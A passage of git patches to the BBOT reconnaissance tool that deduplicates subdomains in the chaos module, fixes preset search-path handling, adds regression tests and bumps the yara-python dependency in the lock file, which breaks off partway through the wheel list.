index 44c63449ef..248967285c 100644 --- a/bbot/modules/chaos.py +++ b/bbot/modules/chaos.py @@ -38,10 +38,10 @@ def _collapse(subdomains, domain, query): if full.endswith(suffix): fqdns.append(full) - parent_children = defaultdict(list) + parent_children = defaultdict(set) for name in fqdns: _, parent = name.split(".", 1) - parent_children[parent].append(name) + parent_children[parent].add(name) out = set() capped = [] diff --git a/bbot/test/test_step_2/module_tests/test_module_chaos.py b/bbot/test/test_step_2/module_tests/test_module_chaos.py index dd23b726ac..29df202f98 100644 --- a/bbot/test/test_step_2/module_tests/test_module_chaos.py +++ b/bbot/test/test_step_2/module_tests/test_module_chaos.py @@ -133,3 +133,41 @@ def check(self, module_test, events): f"Direct-apex subdomains should not be collapsed; got {emitted}" ) assert "realsub.cluster.blacklanternsecurity.com" in emitted, f"Nested subdomain should survive; got {emitted}" + + +class TestChaosDuplicateInflation(ModuleTestBase): + """Duplicate entries from chaos must not inflate the per-parent cap count. + + A parent with fewer unique children than PER_PARENT_CAP must not be + collapsed just because chaos returned the same names multiple times. + """ + + modules_overrides = ["chaos"] + config_overrides = {"modules": {"chaos": {"api_key": "asdf"}}} + + async def setup_before_prep(self, module_test): + module_test.blasthttp_mock.add_response( + url="https://dns.projectdiscovery.io/dns/example.com", + match_headers={"Authorization": "asdf"}, + json={"domain": "example.com", "subdomains": 65}, + ) + # 250 unique children (under cap=300), each sent twice -> 500 raw entries. + # Cap must count unique, not raw, so none should be collapsed. + uniq = [f"svc{i}.cluster" for i in range(250)] + flood = uniq + uniq + module_test.blasthttp_mock.add_response( + url="https://dns.projectdiscovery.io/dns/blacklanternsecurity.com/subdomains", + match_headers={"Authorization": "asdf"}, + json={"domain": "blacklanternsecurity.com", "subdomains": flood}, + ) + + def check(self, module_test, events): + assert module_test.scan.modules["chaos"].errored is False + emitted = [e.data for e in events if e.module and getattr(e.module, "name", "") == "chaos"] + svc = [d for d in emitted if d.startswith("svc")] + assert len(svc) == 250, ( + f"all 250 unique children should survive (cap must count unique, not duplicates); got {len(svc)}" + ) + assert "cluster.blacklanternsecurity.com" not in emitted, ( + "parent must not be collapsed when unique child count is under the cap" + ) From 065286ec722140a495baeef660fcb6add2ac8068 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 9 Jun 2026 18:37:54 -0400 Subject: [PATCH 772/912] Fix preset path resolution clobbering default search paths Two bugs in PresetPath caused loading a preset via relative path (e.g. bbot -p ./scan.yml) to fail when the repo tree contained non-YAML files matching preset include names: 1. add_path() would remove DEFAULT_PRESET_PATH when a broader parent (like repo root) was added, causing rglob to search the entire tree. Fix: never prune DEFAULT_PRESET_PATH from the search list. 2. Extensionless file candidates (e.g. "baddns" with no .yml) matched non-YAML files like .venv/bin/baddns, which then failed to parse. Fix: only generate .yml/.yaml candidates for rglob search. Also adds early return for direct file paths (containing "/") to skip the rglob search entirely when the file resolves immediately. --- bbot/scanner/preset/path.py | 15 ++++++----- bbot/test/test_step_1/test_presets.py | 36 +++++++++++++++++++++++++++ 2 files changed, 45 insertions(+), 6 deletions(-) diff --git a/bbot/scanner/preset/path.py b/bbot/scanner/preset/path.py index 287294401d..dd4bd2558a 100644 --- a/bbot/scanner/preset/path.py +++ b/bbot/scanner/preset/path.py @@ -19,19 +19,21 @@ def __init__(self): def find(self, filename): filename_path = Path(filename).expanduser() + if "/" in str(filename): + resolved = filename_path.resolve() + if resolved.is_file(): + self.add_path(resolved.parent) + return resolved + self.add_path(filename_path.parent) extension = filename_path.suffix.lower() file_candidates = set() extension_candidates = {".yaml", ".yml"} if extension: extension_candidates.add(extension.lower()) - else: - file_candidates.add(filename_path.stem) for ext in extension_candidates: file_candidates.add(f"{filename_path.stem}{ext}") file_candidates = sorted(file_candidates) file_candidates_str = ",".join([str(s) for s in file_candidates]) - if "/" in str(filename): - self.add_path(filename_path.parent) log.debug(f"Searching for {file_candidates_str} in {[str(p) for p in self.paths]}") for path in self.paths: for candidate in file_candidates: @@ -59,8 +61,9 @@ def add_path(self, path): if not path.is_dir(): log.debug(f'Path "{path.resolve()}" is not a directory') return - # preemptively remove any paths that are subdirectories of the new path - self.paths = [p for p in self.paths if not p.is_relative_to(path)] + # preemptively remove any paths that are subdirectories of the new path, + # but never remove the default preset path + self.paths = [p for p in self.paths if p == DEFAULT_PRESET_PATH or not p.is_relative_to(path)] self.paths.insert(0, path) def find_file(self, filename): diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index c3c5f501e4..e1406bd5c5 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -1301,6 +1301,42 @@ def test_preset_dnsresolve_required_by_dns_name_consumers(): Preset(exclude_modules=["dnsresolve"]).validate().bake() +def test_preset_path_no_clobber_default(tmp_path): + """Regression: loading a preset via path (e.g. ./scan.yml) must not clobber + the default preset search path, even when the preset lives in a parent + directory of bbot/presets/. Previously, add_path() would remove + DEFAULT_PRESET_PATH from the search list, causing rglob to search the + entire tree and match non-YAML files (like .venv/bin/baddns). + """ + from bbot.scanner.preset.path import PresetPath, DEFAULT_PRESET_PATH + + # preset that includes a built-in preset by name (no extension, no path) + preset_file = tmp_path / "scan.yml" + preset_file.write_text("description: regression test\ninclude:\n - baddns\n") + + # non-YAML decoy that would match an extensionless rglob for "baddns" + decoy_dir = tmp_path / "fake_venv" / "bin" + decoy_dir.mkdir(parents=True) + decoy = decoy_dir / "baddns" + decoy.write_text("#!/usr/bin/env python\nif __name__ == '__main__':\n pass\n") + + pp = PresetPath() + # resolve the top-level file + found = pp.find(str(preset_file)) + assert found == preset_file.resolve() + # DEFAULT_PRESET_PATH must survive + assert DEFAULT_PRESET_PATH in pp.paths + + # the built-in include must resolve to the real preset, not the decoy + found_include = pp.find("baddns") + assert found_include.suffix in (".yml", ".yaml") + assert "fake_venv" not in str(found_include) + + # full round-trip through Preset + preset = Preset.from_yaml_file(str(preset_file)) + assert "baddns" in preset.explicit_scan_modules + + def test_malformed_yaml_preset_file(tmp_path): """Regression test for https://github.com/blacklanternsecurity/bbot/issues/3158 From 8a16cb60fc13d52f0de73a3fb1bbddd5ecf7f278 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 9 Jun 2026 20:49:09 -0400 Subject: [PATCH 773/912] Bump yara-python from ==4.5.2 to >=4.5.4 --- pyproject.toml | 2 +- uv.lock | 102 +++++++++++++++++++++++++------------------------ 2 files changed, 54 insertions(+), 50 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 833a1e05ca..c401cc7999 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -37,7 +37,7 @@ dependencies = [ "mmh3>=4.1,<6.0", "xxhash>=3.5.0,<4", "setproctitle>=1.3.3,<2", - "yara-python==4.5.2", + "yara-python>=4.5.4,<5", "pyzmq>=26.0.3,<28.0.0", "puremagic>=1.28,<2", "pydantic>=2.12.2,<3", diff --git a/uv.lock b/uv.lock index f85cfc408a..ecf3416166 100644 --- a/uv.lock +++ b/uv.lock @@ -292,7 +292,7 @@ requires-dist = [ { name = "wordninja", specifier = ">=2.0.0,<3" }, { name = "xmltojson", specifier = ">=2.0.2,<3" }, { name = "xxhash", specifier = ">=3.5.0,<4" }, - { name = "yara-python", specifier = "==4.5.2" }, + { name = "yara-python", specifier = ">=4.5.4,<5" }, { name = "zstandard", specifier = ">=0.22,<1" }, ] @@ -3386,54 +3386,58 @@ wheels = [ [[package]] name = "yara-python" -version = "4.5.2" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/f0/12/73703b53de2d3aa1ead055d793035739031793c32c6b20aa2f252d4eb946/yara_python-4.5.2.tar.gz", hash = "sha256:9086a53c810c58740a5129f14d126b39b7ef61af00d91580c2efb654e2f742ce", size = 550836, upload-time = "2025-05-02T11:17:48.851Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/86/77/8576d9ad375d396aabd87cf2510d3696440d830908114489a1e72df0e8f9/yara_python-4.5.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:20aee068c8f14e8ebb40ebf03e7e2c14031736fbf6f32fca58ad89d211e4aaa0", size = 402000, upload-time = "2025-05-02T11:16:28.228Z" }, - { url = "https://files.pythonhosted.org/packages/cf/ca/9696ebaa5b345aa1d670b848af36889f01bea79520598e09d2c62c5e19ad/yara_python-4.5.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:9899c3a80e6c543585daf49c5b06ba5987e2f387994a5455d841262ea6e8577c", size = 208581, upload-time = "2025-05-02T11:16:30.205Z" }, - { url = "https://files.pythonhosted.org/packages/07/08/e3e6c3641b5713a6d9628ed654ee1b69e215bafc2e91b9ce9dc24a7a5215/yara_python-4.5.2-cp310-cp310-macosx_14_0_arm64.whl", hash = "sha256:399bb09f81d38876a06e269f68bbe810349aa0bb47fe79866ea3fc58ce38d30f", size = 2471737, upload-time = "2025-05-27T12:41:53.176Z" }, - { url = "https://files.pythonhosted.org/packages/7c/19/140dc9e0ea3b27b00a239a7bd4c839342da9b5326551f2b0607526aca841/yara_python-4.5.2-cp310-cp310-macosx_14_0_x86_64.whl", hash = "sha256:c78608c6bf3d2c379514b1c118a104874df1844bf818087e1bf6bfec0edfd1aa", size = 208855, upload-time = "2025-05-27T12:41:55.015Z" }, - { url = "https://files.pythonhosted.org/packages/45/a9/88997ec3d6831d436e4439be4197cd70c764b9fbaf1ef904a2dba870c920/yara_python-4.5.2-cp310-cp310-macosx_15_0_arm64.whl", hash = "sha256:f25db30f8ae88a4355e5090a5d6191ee6f2abfdd529b3babc68a1faeba7c2ac8", size = 2478386, upload-time = "2025-05-27T12:41:56.691Z" }, - { url = "https://files.pythonhosted.org/packages/6e/15/f6e79e3b70bff4c11e13dfe833f6e28bdd4b3674b51e05008821182918e5/yara_python-4.5.2-cp310-cp310-macosx_15_0_x86_64.whl", hash = "sha256:f2866c0b8404086c5acb68cab20854d439009a1b02077aca22913b96138d2f6a", size = 209299, upload-time = "2025-05-27T12:41:58.149Z" }, - { url = "https://files.pythonhosted.org/packages/da/f9/54bb72a4c8d79c22b211bb30065281de785ee638fa3e5856b6c7a8fd60e5/yara_python-4.5.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9fc5abddf8767ca923a5a88b38b8057d4fab039323d5c6b2b5be6cba5e6e7350", size = 2239744, upload-time = "2025-05-02T11:16:31.793Z" }, - { url = "https://files.pythonhosted.org/packages/8d/13/18e66baf4d6220692d4e8957796386524dc32053ccd8118dfb93c241afb2/yara_python-4.5.2-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bc2216bc73d4918012a4b270a93f9042445c7246b4a668a1bea220fbf64c7990", size = 2322426, upload-time = "2025-05-02T11:16:33.158Z" }, - { url = "https://files.pythonhosted.org/packages/2c/c6/571f8d5dcd682038238a50f0101572cbecee50e20e51bf0de2f75bf00723/yara_python-4.5.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b5558325eb7366f610a06e8c7c4845062d6880ee88f1fbc35e92fae333c3333c", size = 2326899, upload-time = "2025-05-02T11:16:34.587Z" }, - { url = "https://files.pythonhosted.org/packages/c0/f7/f12b796841995131515abef4ae2b6e9a6ac2dc9f397d3e18d77a9a607b5f/yara_python-4.5.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f2a293e30484abb6c137d9603fe899dfe112c327bf7a75e46f24737dd43a5e44", size = 2945990, upload-time = "2025-05-02T11:16:36.155Z" }, - { url = "https://files.pythonhosted.org/packages/24/fa/82fc55fdfc4c2e8fe94495063d33eafccacc7b3afd3122817197a52c3523/yara_python-4.5.2-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:2ff1e140529e7ade375b3c4c2623d155c93438bd56c8e9bebce30b1d0831350d", size = 2416586, upload-time = "2025-05-02T11:16:37.666Z" }, - { url = "https://files.pythonhosted.org/packages/e3/23/6b9f097bcfb6e47da068240034422a543b6c55ef32f3500c344ddbe0f1da/yara_python-4.5.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:399f484847d5cb978f3dd522d3c0f20cbf36fe760d90be7aaeb5cf0e82947742", size = 2636130, upload-time = "2025-05-02T11:16:40.042Z" }, - { url = "https://files.pythonhosted.org/packages/5b/d6/01d7ff8281e10b8fced269bf022d471d70cc7213b055f48dbae329246c52/yara_python-4.5.2-cp310-cp310-win32.whl", hash = "sha256:ef499e273d12b0119fc59b396a85f00d402b103c95b5a4075273cff99f4692df", size = 1447051, upload-time = "2025-05-02T11:16:41.519Z" }, - { url = "https://files.pythonhosted.org/packages/ad/0d/5a8b3960af506f62391568b27a4d809d0f85366d3f9edd02952e75757868/yara_python-4.5.2-cp310-cp310-win_amd64.whl", hash = "sha256:dd54d92c8fe33cc7cd7b8b29ac8ac5fdb6ca498c5a697af479ff31a58258f023", size = 1825447, upload-time = "2025-05-02T11:16:43.077Z" }, - { url = "https://files.pythonhosted.org/packages/a7/e0/a52e0e07bf9ec1c02a3f2136111a8e13178a41a6e10f471bcafea5e0cdb5/yara_python-4.5.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:727d3e590f41a89bbc6c1341840a398dee57bc816b9a17f69aed717f79abd5af", size = 402007, upload-time = "2025-05-02T11:16:44.457Z" }, - { url = "https://files.pythonhosted.org/packages/12/92/e76cab3da5096a839187a8e42f94cb960be179d6fba2af787b1fd8c7f7aa/yara_python-4.5.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b5657c268275a025b7b2f2f57ea2be0b7972a104cce901c0ac3713787eea886e", size = 208581, upload-time = "2025-05-02T11:16:45.806Z" }, - { url = "https://files.pythonhosted.org/packages/8f/cf/73759180b5d3ccb0ba18712a4bce7e3aee88935ccf76d8fc954dff89947a/yara_python-4.5.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d4bcfa3d4bda3c0822871a35dd95acf6a0fe1ab2d7869b5ae25b0a722688053a", size = 2241764, upload-time = "2025-05-02T11:16:47.061Z" }, - { url = "https://files.pythonhosted.org/packages/dd/64/275394c7ed93505926bb6f17e85abdf36efc2f1dc5c091c8f674adb1ec02/yara_python-4.5.2-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0d6d7e04d1f5f64ccc7d60ff76ffa5a24d929aa32809f20c2164799b63f46822", size = 2323680, upload-time = "2025-05-02T11:16:48.504Z" }, - { url = "https://files.pythonhosted.org/packages/6a/84/1753c2c0e5077e4e474928617a245576b61892027afa851f1972905e842a/yara_python-4.5.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d487dcce1e9cf331a707e16a12c841f99071dcd3e17646fff07d8b3da6d9a05c", size = 2328530, upload-time = "2025-05-02T11:16:49.938Z" }, - { url = "https://files.pythonhosted.org/packages/93/c3/9c035b9bad05156ad79399e96527ee09fb44734504077919459e83c39401/yara_python-4.5.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:f8ca11d6877d453f69987b18963398744695841b4e2e56c2f1763002d5d22dbd", size = 2947508, upload-time = "2025-05-02T11:16:51.731Z" }, - { url = "https://files.pythonhosted.org/packages/05/8b/d0e06cdc5767f64516864fb9d9a49a3956801cb1c76f757243dad7cb3891/yara_python-4.5.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:f1f009d99e05f5be7c3d4e349c949226bfe32e0a9c3c75ff5476e94385824c26", size = 2418145, upload-time = "2025-05-02T11:16:53.248Z" }, - { url = "https://files.pythonhosted.org/packages/bb/b6/8505c7486935b277622703ae7f3fb1ee83635d749facf0fed99aeb2078e3/yara_python-4.5.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:96ead034a1aef94671ea92a82f1c2db6defa224cf21eb5139cff7e7345e55153", size = 2637499, upload-time = "2025-05-02T11:16:55.106Z" }, - { url = "https://files.pythonhosted.org/packages/a1/3b/7bdf6a37b4df79f9c51599d5f02f96e8372bd0ddc53a3f2852016fda990f/yara_python-4.5.2-cp311-cp311-win32.whl", hash = "sha256:7b19ac28b3b55134ea12f1ee8500d7f695e735e9bead46b822abec96f9587f06", size = 1447050, upload-time = "2025-05-02T11:16:56.868Z" }, - { url = "https://files.pythonhosted.org/packages/78/1f/99fdeafb66702a3efe9072b7c8a8d4403938384eac7b4f46fc6e077ec484/yara_python-4.5.2-cp311-cp311-win_amd64.whl", hash = "sha256:a699917ea1f3f47aecacd8a10b8ee82137205b69f9f29822f839a0ffda2c41a1", size = 1825468, upload-time = "2025-05-02T11:16:58.219Z" }, - { url = "https://files.pythonhosted.org/packages/1b/1c/c91a0af659d7334e6899db3e9fc10deb0dae56232ac036bddc2f6ce14a7b/yara_python-4.5.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:037be5f9d5dd9f067bbbeeac5d311815611ba8298272a14b03d7ad0f42b36f5a", size = 403092, upload-time = "2025-05-02T11:16:59.62Z" }, - { url = "https://files.pythonhosted.org/packages/6c/87/146e9582e8f5b069d888ec410c02c4b3501ec024f2985b4903177d18dda1/yara_python-4.5.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:77c8192f56e2bbf42b0c16cd1c368ba7083047e5b11467c8b3d6330d268e1f86", size = 209528, upload-time = "2025-05-02T11:17:00.913Z" }, - { url = "https://files.pythonhosted.org/packages/0e/51/a41f6b62c4b7990dbc94582200bbd7fe52ee8e0aa2634c3733705811c93d/yara_python-4.5.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0e892b2111122552f0645bc1a55f2525117470eea3b791d452de12ae0c1ec37b", size = 2244678, upload-time = "2025-05-02T11:17:02.332Z" }, - { url = "https://files.pythonhosted.org/packages/82/79/c3f96ff13349b0efd25b70f4ae423d37503116badf2af27df4e645f1f107/yara_python-4.5.2-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f16d9b23f107fd0569c676ec9340b24dd5a2a2a239a163dcdeaed6032933fb94", size = 2326396, upload-time = "2025-05-02T11:17:03.824Z" }, - { url = "https://files.pythonhosted.org/packages/89/76/b55016776948b01fc3c989dd0257ee675ca1ce86011f502db7aa84cb9cd4/yara_python-4.5.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8b98e0a77dc0f90bc53cf77cca1dc1a4e6836c7c5a283198c84d5dbb0701e722", size = 2331464, upload-time = "2025-05-02T11:17:05.674Z" }, - { url = "https://files.pythonhosted.org/packages/90/1d/4b9470380838b96681ed6b6254e7d236042b7871c0b662c4b8e9469eacf0/yara_python-4.5.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:d6366d197079848d4c2534f07bc47f8a3c53d42855e6a492ed2191775e8cd294", size = 2949283, upload-time = "2025-05-02T11:17:07.191Z" }, - { url = "https://files.pythonhosted.org/packages/9d/9e/65de40d1cd60386675d03a2a0c7679274e2be0fb76eaa878622a21497db8/yara_python-4.5.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:a2ba9fddafe573614fc8e77973f07e74a359bd1f3a6152f93b814a6f8cfc0004", size = 2420959, upload-time = "2025-05-02T11:17:08.691Z" }, - { url = "https://files.pythonhosted.org/packages/6b/43/742d44b76c2483aebdf5b8c0495556416de7762c9becec18869f8830df01/yara_python-4.5.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3338f492e9bb655381dbf7e526201c1331d8c1e3760f1b06f382d901cc10cdf0", size = 2639613, upload-time = "2025-05-02T11:17:10.301Z" }, - { url = "https://files.pythonhosted.org/packages/ef/56/e7713f9e7afd51d3112b5c4c6a3d3a4f84ed7baf807967043a9ac7773f1b/yara_python-4.5.2-cp312-cp312-win32.whl", hash = "sha256:9d066da7f963f4a68a2681cbe1d7c41cb1ef2c5668de3a756731b1a7669a3120", size = 1447526, upload-time = "2025-05-02T11:17:12.002Z" }, - { url = "https://files.pythonhosted.org/packages/c1/90/65e96967cbfc65fd5d117580cb7601bc79d0c95f9dbd8b0ffbf25cdd0114/yara_python-4.5.2-cp312-cp312-win_amd64.whl", hash = "sha256:fe5b4c9c5cb48526e8f9c67fc1fdafb9dbd9078a27d89af30de06424c8c67588", size = 1825673, upload-time = "2025-05-02T11:17:13.934Z" }, - { url = "https://files.pythonhosted.org/packages/0f/36/c55ff5d0abe89faffddff23c266b0247b93016eb97830bf079c873f9721c/yara_python-4.5.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ffc3101354188d23d00b831b0d070e2d1482a60d4e9964452004276f7c1edee8", size = 403087, upload-time = "2025-05-02T11:17:15.706Z" }, - { url = "https://files.pythonhosted.org/packages/4c/de/2d28216b23beca46d9eb3784c198cbf48068437b2220359f372d56a32dc0/yara_python-4.5.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:0c7021e6c4e34b2b11ad82de330728134831654ca1f5c24dcf093fedc0db07ae", size = 209503, upload-time = "2025-05-02T11:17:17.42Z" }, - { url = "https://files.pythonhosted.org/packages/c5/ae/6a170b8eabffb3086b08f20ad9abfe7eb060c2ca06f6cf8b860155413575/yara_python-4.5.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c73009bd6e73b04ffcbc8d47dddd4df87623207cb772492c516e16605ced5dd6", size = 2244791, upload-time = "2025-05-02T11:17:18.762Z" }, - { url = "https://files.pythonhosted.org/packages/4a/b9/1b361bec1b7d1f216303ca8dbf85f417cf20dba0543272bb7897e7853ce7/yara_python-4.5.2-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ef7f592db5e2330efd01b40760c3e2be5de497ff22bd6d12e63e9cf6f37b4213", size = 2326306, upload-time = "2025-05-02T11:17:20.241Z" }, - { url = "https://files.pythonhosted.org/packages/9e/b7/ca274eee26237ae60da2bca66288737d7b503aa67032b756059cdb69d254/yara_python-4.5.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e5980d96ac2742e997e55ba20d2746d3a42298bbb5e7d327562a01bac70c9268", size = 2331285, upload-time = "2025-05-02T11:17:21.684Z" }, - { url = "https://files.pythonhosted.org/packages/40/8b/32acec8da17f91377331d55d01c90f6cd3971584209ae29647a6ce29721d/yara_python-4.5.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:e857bc94ef54d5db89e0a58652df609753d5b95f837dde101e1058dd755896b5", size = 2949045, upload-time = "2025-05-02T11:17:23.206Z" }, - { url = "https://files.pythonhosted.org/packages/76/42/4d1f67f09b10e0aa087214522fb1ea7fe68b54bb1d09111687d3683956f6/yara_python-4.5.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:98b4732a9f5b184ade78b4675501fbdc4975302dc78aa3e917c60ca4553980d5", size = 2420755, upload-time = "2025-05-02T11:17:25.178Z" }, - { url = "https://files.pythonhosted.org/packages/76/c1/ea7a67235e9c43a27c89454c38555338683015a3cc9fe20f44a2163f2361/yara_python-4.5.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:57928557c85af27d27cca21de66d2070bf1860de365fb18fc591ddfb1778b959", size = 2639331, upload-time = "2025-05-02T11:17:26.697Z" }, - { url = "https://files.pythonhosted.org/packages/42/82/64ef5a30f39554f7b58e8a42db31dd284766d50504fb23d19475becc83f8/yara_python-4.5.2-cp313-cp313-win32.whl", hash = "sha256:d7b58296ed2d262468d58f213b19df3738e48d46b8577485aecca0edf703169f", size = 1447528, upload-time = "2025-05-02T11:17:28.166Z" }, - { url = "https://files.pythonhosted.org/packages/90/fb/93452ff294669f935d457ec5376a599dd93da0ac7a9a590e58c1e537df13/yara_python-4.5.2-cp313-cp313-win_amd64.whl", hash = "sha256:2f6ccde3f30d0c3cda9a86e91f2a74073c9aeb127856d9a62ed5c4bb22ccd75f", size = 1825770, upload-time = "2025-05-02T11:17:29.584Z" }, +version = "4.5.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/51/38/347d1fcde4edabd338d5872ca5759ccfb95ff1cf5207dafded981fd08c4f/yara_python-4.5.4.tar.gz", hash = "sha256:4c682170f3d5cb3a73aa1bd0dc9ab1c0957437b937b7a83ff6d7ffd366415b9c", size = 551142, upload-time = "2025-05-27T14:15:49.035Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/51/7f/5767870ecdde75b7991f67caa5d78d692d30239529b66262a33bb6ab12e3/yara_python-4.5.4-cp310-cp310-macosx_14_0_arm64.whl", hash = "sha256:721d341bd2013fbada4df5aba0eb79a9e4e21c4b86441f7f111ab8c31671f125", size = 2471734, upload-time = "2025-05-27T14:14:03.034Z" }, + { url = "https://files.pythonhosted.org/packages/13/01/c7253b9cbeb9058deff46e332d98d8a76ecdc07235a41f1a3050348b035e/yara_python-4.5.4-cp310-cp310-macosx_14_0_x86_64.whl", hash = "sha256:c785fd16475f2a3191cd4fae0cd608b1ba6271f495ec86fa26a3c5ac53f5f2e1", size = 208858, upload-time = "2025-05-27T14:14:04.728Z" }, + { url = "https://files.pythonhosted.org/packages/02/09/cbe63e02a7b2448cd84b78918c1d765ce17038f1e7f0a6ae25e942bdca22/yara_python-4.5.4-cp310-cp310-macosx_15_0_arm64.whl", hash = "sha256:5eefa3b157cd5f4454a317907bab334036f61385324b70cb61dbc656c44168d5", size = 2478392, upload-time = "2025-05-27T14:14:06.404Z" }, + { url = "https://files.pythonhosted.org/packages/01/02/c5f2953a7dfd3055fd67581fe740c46c7b678d3760faced24674080019c8/yara_python-4.5.4-cp310-cp310-macosx_15_0_x86_64.whl", hash = "sha256:bbc0c5a2ee67e6043e4c2622093ebfc7d2c173dc643dd089742aedbdea48d6a4", size = 209306, upload-time = "2025-05-27T14:14:07.876Z" }, + { url = "https://files.pythonhosted.org/packages/be/70/a7bd03cbf1ac7e9fcfe292b3dfad181d7fb7eabf6d0ee493f7c5b2386238/yara_python-4.5.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1b091f1bd6c5d2a9b5c0c682ba67ba31b87bb71b27876430775998b71c8e3f97", size = 2240111, upload-time = "2025-05-27T14:14:09.246Z" }, + { url = "https://files.pythonhosted.org/packages/0a/3d/0b0eadc8b39aa61cc04337d60b15fdebccaf662877a30604baadf760a4f5/yara_python-4.5.4-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:91276c90bb5e148e10050015fec8a1d4009a95eee9eb832d154f80355d0b4080", size = 2323286, upload-time = "2025-05-27T14:14:10.688Z" }, + { url = "https://files.pythonhosted.org/packages/c4/30/aab92c73b02bdda575f9507108c9617708f8d6812647a0654bc44447fc20/yara_python-4.5.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7e20e1f69b6239fe4f4da97e9ff361d9be25d6f1d747589ea44b8a9ec412a12d", size = 2327981, upload-time = "2025-05-27T14:14:13.044Z" }, + { url = "https://files.pythonhosted.org/packages/7a/40/461d76a5ec526679e58efca35383d3511cade8c8fc8868ad9f97bea21a1a/yara_python-4.5.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:a83773b561727fc360f7a6874f7fac1409bc9c391134dc3e070f1c2515c0db98", size = 2946194, upload-time = "2025-05-27T14:14:14.717Z" }, + { url = "https://files.pythonhosted.org/packages/33/d2/656319472612d821d224ef2a79dc5b8339332aa03e4586e5fd9ec0c45f4e/yara_python-4.5.4-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:14f203bd9fb33ad591e046429560133127fa4a6201dac28c525fa7c6c7ca36a7", size = 2416600, upload-time = "2025-05-27T14:14:16.269Z" }, + { url = "https://files.pythonhosted.org/packages/5e/76/5ec476aa39e81d4dd5e26071f6b2c763c4a7d7f628dff3370fe6053ba9ac/yara_python-4.5.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:e632daf9f38f8d4b433f08f798b07a45756e6c396e9e0ec54aac10045f6d241d", size = 2636555, upload-time = "2025-05-27T14:14:18.082Z" }, + { url = "https://files.pythonhosted.org/packages/f1/b5/26cdb3d13b91625dc35a68aca2db8cb62d6c6d5e7b83d97981b350163dd3/yara_python-4.5.4-cp310-cp310-win32.whl", hash = "sha256:a3866830f7f2d071f94cbce7c41d91444ac29e2cbbe279914abf518d57a2d41f", size = 1447301, upload-time = "2025-05-27T14:14:19.635Z" }, + { url = "https://files.pythonhosted.org/packages/be/21/68f211559de12eac0cb0fd8dbda279cadb0cc681cc4dc6394f9e06dfd4e2/yara_python-4.5.4-cp310-cp310-win_amd64.whl", hash = "sha256:135c1097ea0445a323038acd509162675ce6d5e21f848aa856779632d48dec42", size = 1825559, upload-time = "2025-05-27T14:14:21.508Z" }, + { url = "https://files.pythonhosted.org/packages/17/17/f0bc4a643d8c3afb485c34b70fe1d161f3fe0459361d2eb3561d23cc16e1/yara_python-4.5.4-cp311-cp311-macosx_14_0_arm64.whl", hash = "sha256:e3e2a5575d61adc2b4ff2007737590783a43d16386b061ac12e6e70a82e5d1de", size = 2471737, upload-time = "2025-05-27T14:14:23.876Z" }, + { url = "https://files.pythonhosted.org/packages/3f/11/39c74fc2732b89d4a5a6ad272b2b60ec84b3aae53b120a9eccc742eec802/yara_python-4.5.4-cp311-cp311-macosx_14_0_x86_64.whl", hash = "sha256:f79a27dbdafb79fc2dc03c7c3ba66751551e3e0b350ab69cc499870b78a6cb95", size = 208862, upload-time = "2025-05-27T14:14:25.941Z" }, + { url = 